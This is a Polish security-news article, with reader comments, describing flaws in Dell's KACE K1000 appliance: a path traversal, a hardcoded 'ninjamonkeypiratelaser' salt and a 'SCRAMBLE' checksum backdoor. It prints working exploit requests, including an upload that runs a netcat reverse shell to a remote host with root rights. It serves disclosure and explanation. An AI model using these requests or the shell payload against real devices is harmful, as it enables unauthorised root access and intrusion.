11.03.2014 | 16:42

Adam Haertle

Ninja, małpa, pirat, laser czyli tylna furtka wg Della

Przedstawiamy prosty przepis, jak trafić do artykułu na Z3S: wystarczy w swoim profesjonalnym produkcie popełnić trywialne błędy, wstawić tylną furtkę z zabawnym hasłem oraz wbudować obejście tylnej furtki na wszelki wypadek. Sukces gwarantowany!

Twórcy oprogramowania wbudowanego w różne urządzenia pewnie nie spodziewali się, że ktokolwiek będzie je kiedyś analizował. Takie przekonanie sprawiało, że zostawiali w nim różne dziwne cuda. Jedne z ciekawszych można znaleźć w profesjonalnym sprzęcie Della.

Poważne urządzenie i proste błędy

Jednym z produktów Della jest urządzenie KACE K1000. Jest to „magiczne pudełko”, które służy do automatyzacji zarządzania sprzętem oraz oprogramowaniem w sieci korporacyjnej. Wykrywanie innych urządzeń, aktualizacja oprogramowania, wymuszanie polityk bezpieczeństwa – bywa przydatne. Kilka dni temu przyjrzał mu się autor serwisu Console Cowboys i znalazł parę prawdziwych perełek.

Zacznijmy od trywialnego błędu typu path traversal. Wywołanie skryptu

POST /userui/downloadpxy.php HTTP/1.1

z treścią żądania

DOWNLOAD_SOFTWARE_ID=1227&DOWNLOAD_FILE=../../../../../../../../../../usr/local/etc/php.ini&ID=7&Download=Download

powoduje pobranie dowolnego pliku, do którego dostęp ma serwer www. Błąd sam w sobie ma umiarkowane konsekwencje – skrypt może wywołać tylko autoryzowany użytkownik. Możliwość odczytu dowolnego pliku jest jednak dobrym początkiem dalszych poszukiwań, szczególnie wtedy, kiedy odwołanie do katalogu powoduje wyliczenie znajdujących się w nim plików.

Ninja, małpa, pirat i laser

Kolejnym znaleziskiem okazał się plik

http://192.168.100.100/service/kbot_upload.php

który, w przeciwieństwie do poprzednika, nie weryfikuje, czy jest wywołany z prawidłowo zalogowanej sesji, a zamiast tego przeprowadza własne sprawdzenie praw użytkownika. Wygląda ono tak:

        $checksumFn = $_GET['filename'];
        $fn = rawurldecode($_GET['filename']);
        $machineId = $_GET['machineId'];
        $checksum = $_GET['checksum'];
        $mac = $_GET['mac'];
        $kbotId = $_GET['kbotId'];
        $version = $_GET['version'];
        $patchScheduleId = $_GET['patchscheduleid'];
        if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
            KBLog($_SERVER["REMOTE_ADDR"] . " token checksum did not match, "
                  ."($machineId, $checksumFn, $mac)");
            KBLog($_SERVER['REMOTE_ADDR'] . " returning 500 "
                  ."from HandlePUT(".construct_url($_GET).")");
            header("Status: 500", true, 500);
            return;
        }

Zanim jednak przeanalizujemy dokładniej ten fragment, spójrzmy jak liczona jest zmienna checksum:

md5("$filename $machineId $mac" . 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');

Zmienna, której wartośc powinna decydować o tym, czy skrypt pozwoli na wgranie własngo pliku na serwer, liczona jest jako funkcja skrótu MD5 z nazwy pliku, identyfikatora urządzenia, adresu MAC oraz soli zaczynającej się od słów ninjamonkeypiratelaser. Ktoś miał niezła fantazję. Ale to oczywiście nie wszystko.

Tylna furtka w tylnej furtce

Obliczenie prawidłowej wartości zmiennej zależy od kilku czynników i prawdopodobnie powodowało problemy, które twórca kodu opisał w komentarzu:

private static function calcTokenChecksum($filename, $machineId, $mac)
    {
        //return md5("$filename $machineId $mac" . $ip .
        //           'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');

        // our tracking of ips really sucks and when I'm vpn'ed from
        // home I couldn't get patching to work, cause the ip that
        // was on the machine record was different from the
        // remote server ip.
        return md5("$filename $machineId $mac" .
                   'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
    }

Jak zatem ominąć problem? Zawsze można w kodzie zaszyć dodatkowe obejście! Jeśli spojrzycie na kod paragraf wyżej, znajdziecie tam dodatkowy warunek – jeśli zmienna checksum równa jest SCRAMBLE, to skrypt jest wykonywany.

Teraz już tylko root

Co prawda skrypt kbot_upload.php pozwala na zapisywanie plików w dowolnym miejscu serwera (znowu błąd typu path traversal), to niestety tylko z prawami serwera www. Na szczęście i na to znajdzie się rozwiązanie. Najpierw znajdujemy folder z prawami tworzenia nowych plików (np. /kbox/kboxwww/tmp) a następnie wykorzystujemy plik KSudoClient.class.php, który co prawda nie znajduje się w drzewie plików serwera www, ale pozwala na wykonanie polecenia z uprawnieniami roota. Jeśli chcemy więc by urządzenie Della połączyło się z naszym serwerem, udostępniając nam powłokę z uprawnieniami roota, wystarczy wydać następujące polecenie:

POST /service/kbot_upload.php?filename=db.php&machineId=../../../kboxwww/tmp/&checksum=SCRAMBLE&mac=xxx&kbotId=blah&version=blah&patchsecheduleid=blah HTTP/1.1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Content-Length: 190
    <?php
    require_once 'KSudoClient.class.php';
    KSudoClient::RunCommandWait("rm /kbox/kboxwww/tmp/db.php;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc REMOTEHOST 4444 >/tmp/f");?>

Teraz wystarczy już tylko wywołać plik

http://192.168.100.100/service/tmp/db.php

by otrzymać upragnionego roota. Na GitHubie znajdziecie skrypt automatyzujący całą operację. Na zakończenie oklaski dla autorów oprogramowania oraz zrzut ekranu pokazujący działanie skryptu w praktyce.

Działanie skryptu (źródło: Console Cowboys)

Działanie skryptu (źródło: Console Cowboys)

Powrót

Komentarze

  • 2014.03.11 22:15 minus1

    Czas zacząć pozywać producentów. Ta fuszera musi się skończyć

    Odpowiedz
  • 2014.03.12 00:35 ja

    „Na GitHubie znajdzieCIE skrypt”.

    Odpowiedz
    • 2014.03.12 07:06 Adam

      Dzięki, poprawione.

      Odpowiedz
      • 2014.07.22 15:33 milosz

        „znajdzieCię skrypt”

        Odpowiedz
        • 2014.07.22 16:14 Adam

          Dzięki, poprawione.

          Odpowiedz
  • 2014.03.12 06:49 Anonim

    Czekaj minus1 bo akurat wygrasz.

    Odpowiedz
  • 2014.03.12 20:31 yy

    z innej beczki..
    poczytałbym jakiś artykuł o trojanie, który ponoć zainfekowal komputery zespołu F1 Marussia przed testami w Bahrainie, bo wcześniej przegapiłem tę historię :D

    Odpowiedz

Zostaw odpowiedź

Jeśli chcesz zwrócić uwagę na literówkę lub inny błąd techniczny, zapraszamy do formularza kontaktowego. Reagujemy równie szybko.

Ninja, małpa, pirat, laser czyli tylna furtka wg Della

Komentarze